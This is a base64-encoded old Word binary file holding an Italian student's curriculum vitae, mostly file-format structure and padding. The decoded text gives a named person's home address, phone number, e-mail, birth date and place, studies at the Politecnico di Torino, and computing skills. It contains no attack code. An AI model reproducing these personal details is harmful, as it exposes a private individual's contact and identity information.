FwAAAKgAAAALAAAAsAAAABAAAAC4AAAAEwAAAMAAAAAWAAAAyAAAAA0AAADQAAAADAAAAOEAAAAC AAAA5AQAAB4AAAAWAAAAUG9saXRlY25pY28gZGkgVG9yaW5vADEAAwAAAAYAAAADAAAAAQAAAAMA AACAAwAAAwAAALMNCAALAAAAAAAAAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAB4QAAABAAAABQAA AEZyYXoADBAAAAIAAAAeAAAABgAAAFRpdGxlAAMAAAABAAAAAJgAAAADAAAAAAAAACAAAAABAAAA NgAAAAIAAAA+AAAAAQAAAAIAAAAKAAAAX1BJRF9HVUlEAAIAAADkBAAAQQAAAE4AAAB7ADgAOAAx ADMAMQAyAEUANAAtADIAQQA2ADIALQAxADEARAA0AC0AQgA4AEYAOAAtADAAMAAwADAAQwAwAEIA QQA5AEIARgAzAH0AAAAAAAAAFAAfAOBP0CDqOmkQotgIACswMJ0ZAC9DOlwAAAAAAAAAAAAARnJh ei4gQ29ycyBusCAxNTYNMTEwMjAgRuluaXMgKEFPKQ0wMTY1LTc2NDA0OQ1lLW1haWw6IG1lcml2 b3RAY2NsaW5mLnBvbGl0by5pdA0NDUFuZ2VsbyBNZXJpdm90DQ1EYXRpIFBlcnNvbmFsaToNDVN0 YXRvIGNpdmlsZTogY2VsaWJlDU5hemlvbmFsaXTgOiBpdGFsaWFuYQ1EYXRhIGRpIG5hc2NpdGE6 IDIgb3R0b2JyZSAxOTc2DUx1b2dvIGRpIG5hc2NpdGE6IEFvc3RhDQ0gDUF0dHVhbGUgb2NjdXBh emlvbmU6DQ1TdHVkZW50ZSBhbCBxdWludG8gYW5ubyBkaSBpbmdlZ25lcmlhIGVsZXR0cm9uaWNh IHByZXNzbyBpbCBQb2xpdGVjbmljbyBkaSBUb3Jpbm8uDQ0NVGl0b2xvIGRpIHN0dWRpbzoNDURp cGxvbWEgZGkgcGVyaXRvIGVsZXR0cm9uaWNvIHByZXNzbyBsJ0lzdGl0dXRvIFRlY25pY28gSW5k dXN0cmlhbGUgZGkgVmVycuhzIGNvbiB2b3RhemlvbmUgZGkgNjAvNjAgbmVsIDE5OTUuDQ0NQ29u b3NjZW56ZToNDUFtYmllbnRpIG9wZXJhdGl2aTogV2luZG93cyAoOTUsIDk4IGUgTlQpLA1MaW5n dWFnZ2lvIEMgc3UgcGlhdHRhZm9ybWEgV2luMzIsDUphdmE6IEphdmFTY3JpcHQsIEFwcGxldCBl IGFwcGxpY2F0aXZpIHN0YW5kLWFsb25lLA1PZmZpY2UgYXV0b21hdGlvbjogV2luV29yZCwgRXhj ZWwuDUludGVybmV0OiBzdmlsdXBwbyBzdWwgV1dXIChIVE1MLCBDR0kpLg0NDUVzcGVyaWVuemEg cHJvZmVzc2lvbmFsZToNDURvY2VuemEgaW4gY29yc2kgZGkgZm9ybWF6aW9uZSBwZXIgaW5mb3Jt YXRpY2EgZGkgYmFzZSBlIG9mZmljZSBhdXRvbWF0aW9uIChPZmZpY2UgOTcpIHBlciBjaXJjYSA1 MCBvcmUgbmVsIDE5OTkuDQ0NTGluZ3VlIHN0cmFuaWVyZSBjb25vc2NpdXRlOg0NRnJhbmNlc2UN SW5nbGVzZSAoc2NvbGFzdGljbykNDQ0NDQ0NAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAUQQA AGAEAAByBAAAcwQAANYEAADZBAAA7gQAAO8EAABCBQAARAUAAFYFAABXBQAAxgUAAMgFAADVBQAA ogYAAKMGAAC/BgAAMQcAADIHAABRBwAAbwcAAHAHAAB0BwAAdQcAACIYAAAkGAAADhoAABIaAAAU GgAA/QD1AP3uAO797vXu/ev1/e71/e71/e4A7gDu/QDuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAQEACgICAAUBCAMACQEKdAcAAHUHAAAkGAAA FBoAAPwAAAAAAAAAAAAAAAD8AAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAyQDAAMcAB+wgi4gsMZBIbBu BCKwbgQjkIkFJJBuBCWwAABNACAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAEQAKAAEAWwAPAAIA AAAAAAAAJgAAQPH/AgAmAAAABwBOAG8AcgBtAGEAbABlAAAAAgAAAAQAbUgQBDYAAUABAAIANgAA AAgAVABpAHQAbwBsAG8AIAAxAAAACAABAAYkAUAmAAwAQ0o0AE9KAwBRSgMAOgACQAEAAgA6AAAA CABUAGkAdABvAGwAbwAgADIAAAAMAAIABiQBD4TEAkAmAQwAQ0oYAE9KAgBRSgIAPgADQAEAAgA+ AAAACABUAGkAdABvAGwAbwAgADMAAAALAAMAAyQDBiQBQCYCAA8ANQiBQ0oYAE9KAgBRSgIAAD4A BEABAAIAPgAAAAgAVABpAHQAbwBsAG8AIAA0AAAADwAEAAMkAwYkAQ+ExAJAJgMADABDShgAT0oC AFFKAgAAAAAAAAAAAAAATgBBQPL/oQBOAAAAHwBDAGEAcgBhAHQAdABlAHIAZQAgAHAAcgBlAGQA ZQBmAGkAbgBpAHQAbwAgAHAAYQByAGEAZwByAGEAZgBvAAAAAAAAAAAAAAAAAEgAVUCiAPEASAAA ABkAQwBvAGwAbABlAGcAYQBtAGUAbgB0AG8AIABpAHAAZQByAHQAZQBzAHQAdQBhAGwAZQAAAAYA PioBQioCUgD+bwEAAgFSAAAACwBJAG4AZABpAHIAaQB6AHoAbwAgADEAAAAdABAAAyQDGyaQEmSg AAAAIyQBGITpFxmEdQQahOwHAAwAQ0oOAE9KAgBRSgIAAAAAAAEAAAACAAAAAwAAAHUDAAD///// AAAAAAEA/////wAAAAAAAAAAAgAAAAIAAAABAP////8AAAAAAAAAAAAAAAABAAAAAQD/////AAAA AAAAAAABAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAwAAAAYAAAAAAAAAAAgBAAAA AAgCAAAAAAj//wAAAAAAAAAAdQMAAAgAABgAAAAA/////wAEAAB1BwAABgAAAAAEAABXBQAAdAcA AHUHAAAHAAAACQAAAAsAAAAABAAAMwcAAHUHAAAIAAAACgAAAA8AAPA4AAAAAAAG8BgAAAACCAAA AgAAAAUAAAABAAAAAQAAAAYAAABAAB7xEAAAAP////8AAP8AgICAAPcAABAADwAC8JIAAAAQAAjw CAAAAAEAAAAFBAAADwAD8DAAAAAPAATwKAAAAAEACfAQAAAAAAAAAAAAAAAAAAAAAAAAAAIACvAI AAAAAAQAAAUAAAAPAATwQgAAABIACvAIAAAAAQQAAAAOAABTAAvwHgAAAL8BAAAQAMsBAAAAAP8B AAAIAAQDCQAAAD8DAQABAAAAEfAEAAAAAQAAAHUDAAAAAAAABAAAAAYAAAAKAAAANwAAAE8AAACe AQAApAEAACMCAAAnAgAAKQIAADMCAAA1AgAAOwIAAEoCAABVAgAAXgIAAGgCAABqAgAAcQIAAP8C AAAJAwAAcAMAAHYDAAAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAH AAcA//8MAAAADABsAGEAaQBiACAALQAgAEMAZQBTAEkAVAA1AEQAOgBcAFcASQBOAEQATwBXAFMA XABTAGEAbAB2AGEAdABhAGcAZwBpAG8AIABhAHUAdABvAG0AYQB0AGkAYwBvACAAZABpACAAIAAg AEQAbwBjAHUAbQBlAG4AdABvADEALgBhAHMAZAAMAGwAYQBpAGIAIAAtACAAQwBlAFMASQBUABEA QQA6AFwAYwB1AHIAcgBpAGMAdQBsAHUAbQAuAGQAbwBjAAYAcwA4ADcAOQA3ADkAEQBBADoAXABj AHUAcgByAGkAYwB1AGwAdQBtAC4AZABvAGMACABGAGEAYgByAGkAegBpAG8AIgBEADoAXABEAG8A YwB1AG0AZQBuAHQAaQBcAEEAbgBnAGUAbABvAFwAYwB1AHIAcgBpAGMAdQBsAHUAbQAuAGQAbwBj AAgARgBhAGIAcgBpAHoAaQBvADoAQwA6AFwAdwBpAG4AZABvAHcAcwBcAFQARQBNAFAAXABTAGEA bAB2AGEAdABhAGcAZwBpAG8AIABhAHUAdABvAG0AYQB0AGkAYwBvACAAZABpACAAIAAgAGMAdQBy AHIAaQBjAHUAbAB1AG0ALgBhAHMAZAAIAEYAYQBiAHIAaQB6AGkAbwAoAEQAOgBcAEQAbwBjAHUA bQBlAG4AdABpAFwAQQBuAGcAZQBsAG8AXABDAHUAcgByAGkAYwB1AGwAdQBtACAAdgBpAHQAYQBl AC4AZABvAGMAAwCkA7smAQAQBP8PAAAAAAAAAAAAAAAAAAAAAAEA/w1/LQEAEAT/DwAAAAAAAAAA AAAAAAAAAAABAMBppD4BABAE/w8AAAAAAAAAAAAAAAAAAAAAAQABAAAAFwAAAAAAAAAAAAAAAAAA AAAAAAALEAAAD4RoARGEmP4VxgUAAWgBBk9KAQBRSgEAbygAAQC38AEAAAAXAAAAAAAAAAAAAAAA AAAAAAAAAAsQAAAPhGgBEYSY/hXGBQABaAEGT0oBAFFKAQBvKAABALfwAQAAABcAAAAAAAAAAAAA AAAAAAAAAAAACxAAAA+EaAERhJj+FcYFAAFoAQZPSgEAUUoBAG8oAAEAt/ADAAAA/w1/LQAAAAAA AAAAAAAAAKQDuyYAAAAAAAAAAAAAAADAaaQ+AAAAAAAAAAAAAAAA//////////////////8DAAAA AAAAAAAA/0ACEAAAAAAAAAB1AwAAgAAACABAAAAEAAAARxaQAQAAAgIGAwUEBQIDBAMAAAAAAAAA AAAAAAAAAAABAAAAAAAAAFQAaQBtAGUAcwAgAE4AZQB3ACAAUgBvAG0AYQBuAAAANRaQAQIABQUB AgEHBgIFBwAAAAAAAAAQAAAAAAAAAAAAAACAAAAAAFMAeQBtAGIAbwBsAAAAMyaQAQAAAgsGBAIC AgICBAMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAEEAcgBpAGEAbAAAAD8mkAEAAAILCgQCAQICAgSH AgAAAAAAAAAAAAAAAAAAnwAAAAAAAABBAHIAaQBhAGwAIABCAGwAYQBjAGsAAAAiAAQAcQiIGAAA xAIAABsBAAAAAMmERUbJhEVGAAAAAAMAAQAAAH8AAADVAgAAAQABAAAABAADEAYAAAAAAAAAAAAA AAEAAQAAAAEAAAAAAAAAIQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApQbAB7QAtACA ABIwAAAQABkAZAAAABkAAAB6AwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAP//EgAAAAAAAAAEAEYAcgBhAHoAAAAA AAAADABsAGEAaQBiACAALQAgAEMAZQBTAEkAVAAIAEYAYQBiAHIAaQB6AGkAbwAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABUAGUAbAAuADoAIABFAE0AIAANAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAEQAKAAEAWwAPAAIAAAAAAAAAJgAA QPH/AgAmAAAABwBOAG8AcgBtAGEAbABlAAAAAgAAAAQAbUgQBDYAAUABAAIANgAAAAgAVABpAHQA bwBsAG8AIAAxAAAACAABAAYkAUAmAAwAQ0o0AE9KAwBRSgMAOgACQAEAAgA6AAAACABUAGkAdABv AGwAbwAgADIAAAAMAAIABiQBD4TEAkAmAQwAQ0oYAE9KAgBRSgIAPgADQAEAAgA+AAAACABUAGkA dABvAGwAbwAgADMAAAALAAMAAyQDBiQBQCYCAA8ANQiBQ0oYAE9KAgBRSgIAAD4ABAABAAIAPgAA AAgAVABpAHQAbwBsAG8AIAA0AAAADwAEAAMkAwYkAQ+ExAJAJgMADABDShgAT0oCAFFKAgAAAAAA AAAAAAAATgBBQPL/oQBOAAAAHwBDAGEAcgBhAHQAdABlAHIAZQAgAHAAcgBlAGQAZQBmAGkAbgBp AHQAbwAgAHAAYQByAGEAZwByAGEAZgBvAAAAAAAAAAAAAAAAAEgAVUCiAPEASAAAABkAQwBvAGwA bABlAGcAYQBtAGUAbgB0AG8AIABpAHAAZQByAHQAZQBzAHQAdQBhAGwAZQAAAAYAPioBQioCUgD+ TwEAAgFSAAAACwBJAG4AZABpAHIAaQB6AHoAbwAgADEAAAAdABAAAyQDGyaQEmSgAAAAIyQBGITp FxmEdQQahOwHAAwAQ0oOAE9KAgBRSgIAAAAAAAEAAAACAAAAAwAAAHsDAAD/////AAAAAAEA//// /wAAAAAAAAAAAgAAAAIAAAABAP////8AAAAAAAAAAAAAAAABAAAAAQD/////AAAAAAAAAAABAAAA AwAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAwAAAAYAAAAAAAAAAAgBAAAAAAgCAAAAAAj/ /wAAAAAAAAAAewMAAAMAABgAAAAA/////wAAAAASAAAAIwAAADUAAABWAAAAWAAAAGcAAAB1AwAA fAMAAJgAAAAQAAAAAAAAAACAAAAAgJgAAAAQAAAAAAAAAACAAAAAgJgAAAAQAAAAAAAAAACAAAAA gJgAAAAQAAAAAAAAAACAAAAAgJ4AAAAAAAAAAAAAAACAAAAAgAgAAAABAAAAAAAAAACAAAAAgJwA AAAAAAAAAAAAAACAAAAAgJgAAAAAAAAAAAAAAACAAAAAgAAEAAAUGgAABgAAAAAEAABXBQAAdAcA 